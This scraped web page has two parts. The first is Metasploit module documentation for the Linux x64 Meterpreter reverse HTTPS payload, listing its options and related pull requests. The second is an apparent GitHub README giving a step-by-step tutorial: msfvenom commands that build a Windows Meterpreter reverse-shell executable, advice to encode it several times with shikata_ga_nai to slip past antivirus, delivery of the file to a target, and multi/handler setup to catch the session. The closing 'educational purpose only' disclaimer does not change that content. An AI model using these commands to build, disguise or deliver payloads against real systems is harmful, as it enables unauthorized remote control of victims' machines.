- Linux Meterpreter, Reverse HTTPS Inline — Metasploit
- Module Overview
- Module Ranking and Traits
- Basic Usage
- Required Options
- Msfconsole Usage
- Module Options
- Advanced Options
- Related Pull Requests
- Saved searches
- Use saved searches to filter your results more quickly
- slewinus/meterpreter
- Name already in use
- Sign In Required
- Launching GitHub Desktop
- Launching GitHub Desktop
- Launching Xcode
- Launching Visual Studio Code
- Latest commit
- Git stats
- Files
- README.md
- About
Linux Meterpreter, Reverse HTTPS Inline — Metasploit
This page contains detailed information about how to use the payload/linux/x64/meterpreter_reverse_https metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux Meterpreter, Reverse HTTPS Inline
Module: payload/linux/x64/meterpreter_reverse_https
Source code: modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
Disclosure date: —
Last modification time: 2021-10-18 16:11:33 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: —
Target network port(s): —
List of CVEs: —
Run the Meterpreter / Mettle server payload (stageless)
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can’t (or doesn’t) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use payload/linux/x64/meterpreter_reverse_https msf payload(meterpreter_reverse_https) > show options . show and set options . msf payload(meterpreter_reverse_https) > generate
To learn how to generate payload/linux/x64/meterpreter_reverse_https with msfvenom, please read this.
Required Options
Msfconsole Usage
Here is how the linux/x64/meterpreter_reverse_https payload looks in the msfconsole:
msf6 > use payload/linux/x64/meterpreter_reverse_https msf6 payload(linux/x64/meterpreter_reverse_https) > show info Name: Linux Meterpreter, Reverse HTTPS Inline Module: payload/linux/x64/meterpreter_reverse_https Platform: Linux Arch: x64 Needs Admin: No Total size: 1037344 Rank: Normal Provided by: Adam Cammack [email protected]> Brent Cook [email protected]> timwr Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path Description: Run the Meterpreter / Mettle server payload (stageless)
Module Options
This is a complete list of options available in the linux/x64/meterpreter_reverse_https payload:
msf6 payload(linux/x64/meterpreter_reverse_https) > show options Module options (payload/linux/x64/meterpreter_reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path
Advanced Options
Here is a complete list of advanced options supported by the linux/x64/meterpreter_reverse_https payload:
msf6 payload(linux/x64/meterpreter_reverse_https) > show advanced Module advanced options (payload/linux/x64/meterpreter_reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- AutoLoadStdapi true yes Automatically load the Stdapi extension AutoRunScript no A script to run automatically on session creation. AutoSystemInfo true yes Automatically capture system information on initialization. AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports HttpServerName Apache no The server header that the handler will send in response to requests HttpUnknownRequestResponse It works!
no The returned HTML response body when the handler receives a request that is not from a payload HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko no The user-agent that the payload should use for communication Max parameter length: 255 characters IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript) OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https PayloadProcessCommandLine no The displayed command line that will be used by the payload PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking) PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic) PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs PingbackRetries 0 yes How many additional successful pingbacks PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST ReverseListenerBindAddress no The specific IP address to bind to on the local system ReverseListenerBindPort no The port to bind to on the local system if different from LPORT SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure SessionRetryWait 10 no Number of seconds to wait between reconnect attempts StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter VERBOSE false no Enable detailed status messages WORKSPACE no Specify the workspace for this module
Related Pull Requests
- #15020 Merged Pull Request: Update mettle payloads to 1.0.9
- #14951 Merged Pull Request: Update metasploit_payloads-mettle gem to 1.0.8
- #14584 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/base
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #13395 Merged Pull Request: Replace METHOD string with COMMAND_ID integer (to remove obvious strings)
- #13172 Merged Pull Request: Bump the metasploit_payloads-mettle gem to 0.5.21
- #12984 Merged Pull Request: Process updates to socket parameters when opening channels
- #11863 Merged Pull Request: Bump mettle 0.5.13
- #11710 Merged Pull Request: bump mettle and other gems
- #11336 Merged Pull Request: Bump mettle 0.5.4
- #11325 Merged Pull Request: Update mettle 0.5.3
- #11080 Merged Pull Request: update mettle payloads, fix numerous issues
- #10681 Merged Pull Request: Update Payload cached sizes
- #10216 Merged Pull Request: add Linux support to the microphone stdapi extension
- #9438 Merged Pull Request: address cmd_exec inconsistencies with mettle/meterpreter payloads
- #8948 Merged Pull Request: Add custom http headers
- #9146 Merged Pull Request: bump mettle, update toolchain, add e500v2 and reduce size of x86_64
- #8895 Merged Pull Request: Fix shell over reverse_http with mettle payloads
- #8523 Merged Pull Request: Add support for the session GUID in the UI
- #8279 Merged Pull Request: move mettle payloads to meterpreter, add reverse_http/s stageless
Saved searches
Use saved searches to filter your results more quickly
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.
this repo is for how to use meterpreter with Kali Linux
slewinus/meterpreter
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Sign In Required
Please sign in to use Codespaces.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching GitHub Desktop
If nothing happens, download GitHub Desktop and try again.
Launching Xcode
If nothing happens, download Xcode and try again.
Launching Visual Studio Code
Your codespace will open once ready.
There was a problem preparing your codespace, please try again.
Latest commit
Git stats
Files
Failed to load latest commit information.
README.md
this repo is for how to use meterpreter with Kali Linux
1- have a kali machine update with msfvenom and metasploit (native)
2- have a windows vm,it’s better with windows 7
3- have the basic knowledge to use linux
choose the payload with this command msfvenom -l payload
with msfvenom —list-options -p windows/meterpreter/reverse_tcp you can see all the option for the payload chosen
You can now create an executable file from the payload :
msfvenom -p [payload] LHOST=[your ip address] LPORT=[port number] -f [file type] > [file path]
Since windows/meterpreter/reverse_tcp is a common exploit, most antivirus programs will detect it. However, we can encrypt the program so that an antivirus program is less likely to detect it. A long list of encoders is included with metasploit. you just have to type :
Once you have chosen the desired encoding (I recommend x86/shikata_ga_nai), you can encrypt it several times when you type the command to perform the exploit. Encrypting the file multiple times makes the program less susceptible to antivirus software.
msfvenom -p [payload] LHOST=[your ip address] LPORT=[port number] -e [encode] -i [number of applications] -f [file type] > [file path]
now that you have a .exe you can send it to your machine. to make it easier I sent it to myself via Mega but you can do it in another way.
4- start a Meterpreter session
open a msfconsole with msfconsole in a terminal
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp
set lhost [your ip address] set lport 4444
when you will see meterpreter > your in 🙂
For educational purpose only !
About
this repo is for how to use meterpreter with Kali Linux